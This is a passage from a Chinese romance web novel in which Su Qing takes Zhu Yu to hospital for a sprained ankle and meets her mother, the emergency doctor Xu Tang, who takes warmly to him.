“这样啊……”
苏青的食指在方向盘上敲了敲。心想还好没有什么电视剧里上演的曾经在医院里与重要的人生离死别这种场景。
安静的车厢内,忽然发出一阵“咕噜咕噜”的声音,祝余愣了愣,确定那声音是从自己身体里发出来的,然后迅速此地无银三百两地捂住了自己的肚子。
忘记她早上就垫了几块点心了。苏青一阵懊恼:“车上没吃的。”他看看路边,发现家便利店,“我停下车去给你买一点?”
“嗯嗯嗯。”祝余不停地点头,送到嘴边的饭从来没有不吃的道理。掩耳盗铃般问,“你什么都没听到对吧?”
苏青沉默:“…………”
祝余用一种威胁的眼神盯着他,颇有股“你敢说你听见了咱们俩从此就没朋友做了!”的味道。
“对。”片刻后,他终于妥协,从善如流道,“我什么都没听见。”
他把车泊到路边的临时停车位上,匆匆走进便利店。按照祝余一贯的口味买了一个肉松沙拉饭团和一瓶酸奶,临付钱时又一掠货架,最终拎了一袋子零食回去。
祝余拿冰袋敷了一小会儿,就开始觉得无聊,翘着脚玩手机,刚看到林晚问他们为什么还没下来究竟在山上干什么的消息,车门开了,苏青拎着一个大袋子坐进来,把塑料袋往她怀里一放:“不知道你爱吃什么,就都买了点。”
“这也太多了吧。”祝余翻了翻,拿起饭团开始啃,“谢了啊,我把钱转给你吧。”
“不用。”
祝余深谙拉扯大法:“哎呀转给你嘛……”
“你要和我算账吗?”苏青淡淡瞥她一眼,“那就从高中开始算吧。”
祝余高中时没少吃人嘴短,她不说话了,埋头啃她的饭团
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。
周六的医院人格外多,苏青一开始要扶她,被她十分自信地拒绝了,后来人实在是太多了,挤在人流里单脚跳难度太高,她就蹭到苏青身边,悄悄攥着他的袖子。
苏青勾了勾唇角,伸出手挽着她:“扶好。”
“哦……”
一楼急诊科,两人勉强找到一个空位。苏青让祝余坐下等着,自己去帮她挂号,等待叫号的过程也十分漫长,祝余百无聊赖地像个挂件一样挂在他胳膊上,四处张望,忽然手机炸开一阵鬼畜铃声。
林晚!她一拍脑门:“把林晚忘了!”
电话一接通,林晚的声音通过出声孔清晰地传到苏青耳中:“你们俩干什么去了?山顶上有什么好玩的吗?给你发消息你也不回!别给我说你们俩在山上谈天谈地谈风花雪月谈诗词歌赋人生哲学!还是山顶上发现了外星人你们俩正在为世界文明迈出一大步?”
她密不通风的话扑面而来,祝余压根没插上话,半晌才抓住一个喘气的空档:“不不不,你听我说……”
林晚决定给她一个机会:“好吧你说。”
祝余尽量挤出一个可怜兮兮的声音:“我扭到脚了。”
“啊?”林晚愣了愣,“怎么扭的?严重吗?你还在山顶吗?苏青人呢?”这时候她还不忘拉踩一句苏青,“他有没有点用啊?别动!等姐去拯救你!”
“不用了……”祝余弱弱地说,“我在医院。”
“哦……”林晚眯起眼,“你还跟苏青在一块儿?”
祝余气势更弱道:“嗯……”
林晚很快捕捉到了问题的关键:“那你怎么下山的?”
“……”
“挂了!”
苏青绷着唇角,才不至于笑出来,眼底笑意盈盈,他一瞥祝余。
祝余整张脸红的像熟透的虾子,急急忙忙掐断电话。缓了会儿,她觉得脸上热,呆滞地抬手把刚刚没用完的冰袋往脸上贴了贴,眼神游离半晌。
“好像叫到我们的号了。”
苏青瞄一眼门诊屏上的姓名,扶着她起来,唇角向下压,装的人模人样:“对,到我们了。”
祝余半个身子都挂在苏青身上,一手拎着一袋子零食,一手攥着苏青的胳膊,蹦蹦跳跳地推开科室门,随即愣住了。
急诊科医生叫许棠,是一位年龄约五十岁上下的妇女,戴眼镜,穿白大褂,见他们进来时脸色微变。苏青觉得有些眼熟,一时没想起来在哪见过。
许棠此刻正靠在椅子里,双手抱胸,平静地与祝余四目相对,目光如炬。
祝余呆滞地抓着苏青的胳膊,一脸不可置信地抬头望他,张了张嘴,似乎想说什么,但没说出口,半晌终于缓缓问道:“你挂的号?”
苏青拧着眉:“怎么了?”
祝余:怎、么、了!我真是谢谢你啊!
许棠终于发话了:“先坐下吧,脚怎么回事?”
祝余慌了,忍不住打了个寒颤,一开口觉得舌头都在打结:“……妈,妈。”
16. 许棠
苏青愣了三秒。
但他不愧是在襁褓里就被他爸妈抱去商业晚宴上展示,十几岁就参加国际演讲竞赛拿到第一名的人,区区小场面,他很快就反应过来了,然后脸上展现出一个非常甜美的笑容——这是他内心已经拉响一级警戒的标志。
“阿姨。”他把祝余按到椅子上坐下,向许棠微微一欠身,未语先笑,翩翩有礼,“我叫苏青,是祝余的高中同学。今天同学聚会,她不小心把脚扭伤了,所以我送她来医院。”
祝余一边“嗯嗯嗯”一边点头,抱着一丝莫名其妙的心虚,不敢看许棠,眼神游离半晌,和苏青对上视线。
祝余:?
祝余:wow,原来他的面部神经允许他做这么大幅度的动作啊。
两人的目光在半空中相撞。
祝余:你在笑什么?
苏青:我比较有礼貌。
苏青这种身材长相这种气质谈吐,是很讨长辈喜欢的。比如许棠就喜欢的不得了,再一看两个人的目光恨不得一直黏在一块儿,心下了然。
“原来是小苏啊!我记得你,你就是高中的时候总考第一名的那个学生吧?哎哟阿姨差点没认出来。这几年怎么也没听鱼鱼提起过你,在哪上学啊?”
“在国外。”
“不错不错。”许棠笑的十分之慈祥,语气十分之和蔼,目光十分之满意,“那现在是回国发展了?”
“是。就在西府动物园上班,和祝余还是同事。”
许棠感慨:“这是缘分啊!”
什么缘分!知母莫若女,祝余一看许棠那副笑眯眯的样子就知道她想多了,她蹙起眉,拉着许棠胳膊,及时打断了这场谈话。
她怕再聊下去许棠就要开始查户口了:“妈妈妈,疼疼疼!脚疼!别唠了,说好的医者仁心呢?你先看看你女儿我吧。”
“熊孩子!”许棠对还没聊到苏青的家庭状况就被祝余打断了这事很不高兴,嗔怒一句,开始检查她的脚腕,忍不住唠叨,“你们同学聚会都干嘛去了,怎么伤到的?唉——这么大了还是不知道小心一点。等下去拍个核磁,我估计伤到韧带了。最近回家住吧?”
“不用了。家里离动物园太远,我上班怎么办啊?”
“没关系。”苏青及时道,“请几天假在家休息吧,工作上的事情你不用担心。”
许棠向苏青投过赞许的目光:“就是,请几天假,回家休息!扭伤要好好养,万一没恢复好,以后有你受的。”
说着,她翻翻祝余怀里的塑料袋,见里面全是零食,点了点她脑袋,“少吃这些垃圾食品!是不是天天不好好吃饭就拿这些东西糊弄啊?这可不行!”
“没……”
谁知紧接着苏青义正言辞道:“阿姨说的没错!”
他眼疾手快地把袋子拎起来,祝余连句解释都没来得及说出口,还没反应过来,就眼睁睁看着她的一整袋零食被没收了。
只见他脸色一板,严肃道:“早就说了不让你买那么多!还是一会儿回去路上顺路去超市给你买两斤排骨炖汤喝,健康。玉米排骨汤怎么样?”
许棠微笑地点头,对祝余说:“你看看人家小苏!多懂事啊!”
祝余整个人被一道雷劈的外焦里嫩,喃喃开口:“妈……”
但她还没来得及辩驳,就被苏青架起来了。
“阿姨,我先带她去拍核磁。”
苏青笑的像只大尾巴狼,可惜许棠没看出来:“好好好,麻烦你了。”
祝余被稀里糊涂地带出去,科室的门一关上,她彻底失去表情管理,小脸皱巴巴一团,像刚看了场恐怖片。
苏青那副笑眯眯的殷勤样子给她带来的冲击不亚于外星人降临地球,她默默消化了半晌,张了张嘴,勉强找回自己的声线:“你很奇怪!”
苏青脸上的表情渐渐消失,又变成平常淡淡的样子,但祝余能看出来他很高兴,眉眼柔和。
他理直气壮道:“我只是想给阿姨留下一个好印象。”
她不理解:“你给我妈留下好印象干什么?”
还能是为什么呢?
苏青眨眨眼,敛起眸光,语气也低沉下去:“大概是习惯了吧。小时候总被爸妈要求这样做。”
祝余:我真该死啊!
他父母都是做生意的,平时很忙,没时间管他,但对他要求还是蛮严格,活生生把他培养成传说中“别人家的孩子”。
估计小时候没少经历过年过节被爸妈要求在长辈面前嘴甜心善当三好学生,或者过年过节被叫起来表演节目的事儿。
她心想自己该不会触碰到了他的什么童年创伤吧?心理学家都说什么来着:童年的创伤需要用一生来治愈。
“那个,哎——”祝余碰碰他的胳膊,想安慰他两句,但是搜肠刮肚也不知道说什么好。
苏青抬眸,眼中宝光流转:“嗯?”
“……核磁室好像走过了。”
“…………”
苏青:无语。
两人又吭哧吭哧折返。
拍核磁,等待结果,又过去许久,拿回去给许棠看。
许棠戴着老花镜:“韧带部分损伤,过来我给你包扎一下。等会开点药带回去,你记得用。脚腕勾起来……”许棠一边给她缠绷带,一边说,“你等我下班跟我一块儿回去吧?”
祝余摇摇头:“我得回我那边收拾点东西,你下班再去接我吧。”
“家里什么没有?”
“轻点轻点,你可真是我亲妈……”祝余挤眉弄眼,“我要把电脑带回去,我们运营人就算请假也要时刻监视网络数据的好吧。我还有好多素材没来得及剪呢……”
她这个想法其实和高中放假前把课本作业一股脑带回家一模一样——最终的归宿只有一个,怎么带回去的再怎么带回来,原封不动。
但此刻她还是被自己的敬业打动了,闪着一双水汪汪的大眼睛看向苏青。
苏青评价道:“很敬业。”他推下眼镜,不打算拆穿她,“我送你回去吧,正好顺路。”
祝余小声嘀咕:“你家到底住哪啊,东南西北你都顺路……”
苏青装没听见,心说我住东南西北。
许棠没听清她一个人在嘟囔什么,但是苏青看上去沉稳大方,把女儿交给他还是件很放心的事情,她笑笑:“麻烦你了呀,小苏。”
“一点都不麻烦,阿姨您不用这么客气。”
许棠点点头,有点丈母
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娘看女婿越看越满意的心态。她拍拍祝余小腿:“好了,走吧,下午我去接你。小苏啊,你们路上开车慢点。”
“好。阿姨您放心吧。”
苏青把祝余扶起来,笑的十分和煦。祝余看的忍不住搓了搓胳膊,低声和他说:“差不多得了,我看我妈够喜欢你的了。”
走出科室,苏青问:“真的?”
“骗你干嘛。我觉得你在她心目中的地位已经快要超过林晚了。话说回来你给我批几天假?”
苏青的镜片反过一抹雪亮的光,他心情大好:“等彻底养好了再回来上班吧,不是说如果养不好以后会习惯性扭伤吗?”
他这副大方的样子和在山上说“不批假”时判若两人,祝余试探问:“不扣工资吧?”
此刻她的眼睛“唰”的一亮,已经开始脑补苏青说“不扣”这俩字,然后她立刻感恩戴德道“领导我以后就是你最忠心的最狗腿子的下属”的画面了。
然而下一秒,苏青冷冰冰的声音在她耳畔响起,彻底打碎了她的幻想:“动物园这方面的规定我还不太清楚,得问问人事部。”
祝余:“……”
祝余:很好,你失去了你最忠心最狗腿子的员工!
她拉开车门缩进副驾驶座上,开始研究怀里这一袋子药,忽然一拍脑门,想起一件非常重要的事情——她来的时候怀里明明还是一袋子零食呢,现在怎么只剩药了!
“我的零食忘记带回来了!”
“还惦记着呢?”
“当然。”她轻眯着眼,“说好的玉米排骨汤呢,还有吗?”
“有,给你补补。”
她得寸进尺:“你会炖?”
苏青平时虽然话少,但其实有点毒舌属性:“还真买两斤新鲜排骨回去自己炖啊,等炖完你都饿的能上街啃人了吧?给你点了长安居的外卖。”
“长安居还送外卖啊?”
“一般不送。”但架不住他有钱。
剩下半句话因为想到祝余每天嚷嚷着“我跟你们这些有钱人拼了”而没敢说出来。
祝余:“嗯?那送二班?”
苏青闻言抿了下唇角,没忍住,笑声最终还是从唇角溢出。
这么老的笑话也笑得出来。祝余摇摇头,略带鄙视地说:“你笑点好低。”
他立刻绷紧唇角,不笑了。
祝余这还是第一次见到长安居的送外卖,排场特别大,两个穿着讲究的工作人员站在他们家门前,带着黑色手套,抱着两个一看就很高级的印着“长安居”三个大字的黑色袋子。
无处不彰显着这一顿饭的身价。
“苏先生,祝女士,您的餐请收好。”工作人员略一欠身,双手奉上。
祝余是个别人朝她鞠躬她恨不得给人趴地上的人,此刻浑身不自在,迅速接过袋子塞进苏青怀里,连连道谢:“谢谢谢谢谢谢,麻烦您了。”
“不麻烦不麻烦。”工作人员连连摆手。
人终于走了,祝余松一口气,心想这服务态度……很值得学习!她打算回去上班以后也让陈最试试,每天喂果果的时候先鞠躬:“果果女士,您的盆盆奶好了。”
那也太逗了。她一边乐一边按下指纹锁。